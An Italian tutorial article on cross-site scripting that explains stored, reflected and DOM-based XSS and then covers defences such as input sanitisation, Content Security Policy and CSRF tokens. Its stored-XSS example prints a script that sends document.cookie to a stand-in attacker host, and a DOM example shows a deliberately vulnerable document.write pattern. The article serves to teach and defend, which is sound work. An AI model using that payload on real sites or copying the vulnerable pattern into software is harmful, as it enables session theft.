Attacchi XSS: Cosa sono, come funzionano e come proteggersi
Gli attacchi XSS (Cross-site scripting) sono tra le vulnerabilità più diffuse nelle applicazioni web. In questo articolo approfondiremo cos'è un attacco XSS, quali tipologie esistono, come funziona, e vedremo esempi pratici di codice per comprenderne meglio il funzionamento. Infine, illustreremo come proteggere il tuo sito web da queste minacce informatiche.
Cos'è un attacco XSS?
Il Cross-site scripting (XSS) è un attacco informatico in cui un malintenzionato inserisce codice malevolo, generalmente JavaScript, all’interno di una pagina web affidabile. Quando un utente visualizza questa pagina, il codice malevolo viene eseguito direttamente nel browser della vittima, consentendo all’attaccante di sottrarre informazioni sensibili, rubare sessioni o effettuare operazioni indesiderate.
Tipologie di attacchi XSS
Gli attacchi XSS si suddividono principalmente in tre categorie:
1. Stored XSS
Il codice malevolo viene memorizzato nel server e si esegue automaticamente quando la pagina infetta viene caricata.
Esempio di Stored XSS:
<!-- Un commento malevolo inserito in un forum --> <script> document.location='http://malicious-site.com?cookie='+document.cookie; </script>
Questo tipo è molto pericoloso perché può colpire tutti gli utenti che visualizzano la pagina compromessa.
2. Reflected XSS
Il codice malevolo è incluso direttamente nella richiesta HTTP (solitamente tramite link malevolo) e riflesso immediatamente nella risposta.
Esempio di Reflected XSS:
URL malevolo:
http://esempio.com/ricerca?q=<script>alert('XSS')</script>
Se il parametro q
non viene correttamente sanificato, il codice JavaScript verrà eseguito nel browser dell'utente.
DOM-Based XSS
In questa variante, il codice malevolo viene eseguito direttamente sul client senza essere inviato al server. Accade quando JavaScript gestisce in modo improprio dati non sanificati.
Esempio di DOM-based XSS:
<script> var param = location.hash.substr(1); document.write("Benvenuto " + param); </script>
URL malevolo:
http://esempio.com/#<script>alert('XSS')</script>
Come funziona un attacco XSS?
Gli attacchi XSS avvengono principalmente quando un'applicazione web non sanifica correttamente l'input fornito dagli utenti. Il codice malevolo sfrutta questa vulnerabilità per inserirsi nella pagina web ed essere eseguito nel browser delle vittime. In questo modo, l'attaccante può:
- Sottrarre cookie e token di sessione;
- Rubare informazioni personali o sensibili;
- Eseguire azioni nel browser della vittima;
- Manipolare i contenuti della pagina web.
Come proteggersi dagli attacchi XSS
Per prevenire attacchi XSS è necessario adottare alcune strategie chiave di sicurezza:
1. Sanificazione e validazione degli input
È fondamentale sanificare sempre i dati inseriti dagli utenti prima di visualizzarli sulla pagina web:
Esempio PHP:
// Sanificazione input $commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8'); echo $commento_sicuro;
2. Content Security Policy (CSP)
Implementare una Content Security Policy aiuta a limitare le origini consentite per eseguire script e previene l’esecuzione di codice dannoso:
Esempio HTTP Header:
Content-Security-Policy: script-src 'self'; object-src 'none';
2. Output encoding sicuro
Assicurarsi che l'output dei dati utente sia correttamente codificato per evitare esecuzioni accidentali:
Esempio JavaScript:
// Codifica sicura const nomeUtente = "<script>alert('XSS');</script>"; document.getElementById('user').textContent = nomeUtente;
3. Protezione CSRF e utilizzo di token
Implementare token anti-CSRF per proteggere le richieste e prevenire attacchi combinati XSS/CSRF:
Esempio token CSRF in PHP:
session_start(); $_SESSION['token'] = bin2hex(random_bytes(32));
4. Utilizzare un Web Application Firewall (WAF)
Un firewall delle applicazioni web può rilevare e bloccare attacchi XSS prima che raggiungano l'applicazione.
4. Mantenere aggiornate le applicazioni web
Aggiornare regolarmente il software e i framework aiuta a correggere vulnerabilità note e a proteggersi da attacchi informatici.
Educare gli utenti
Informare gli utenti sui rischi di cliccare su link sospetti o inserire dati sensibili su pagine web non affidabili può ridurre significativamente il rischio.
Conclusione
Gli attacchi XSS rappresentano una minaccia concreta e diffusa sul web. Tuttavia, adottando le best practice illustrate e strumenti adeguati è possibile proteggere efficacemente la tua applicazione e garantire la sicurezza dei tuoi utenti.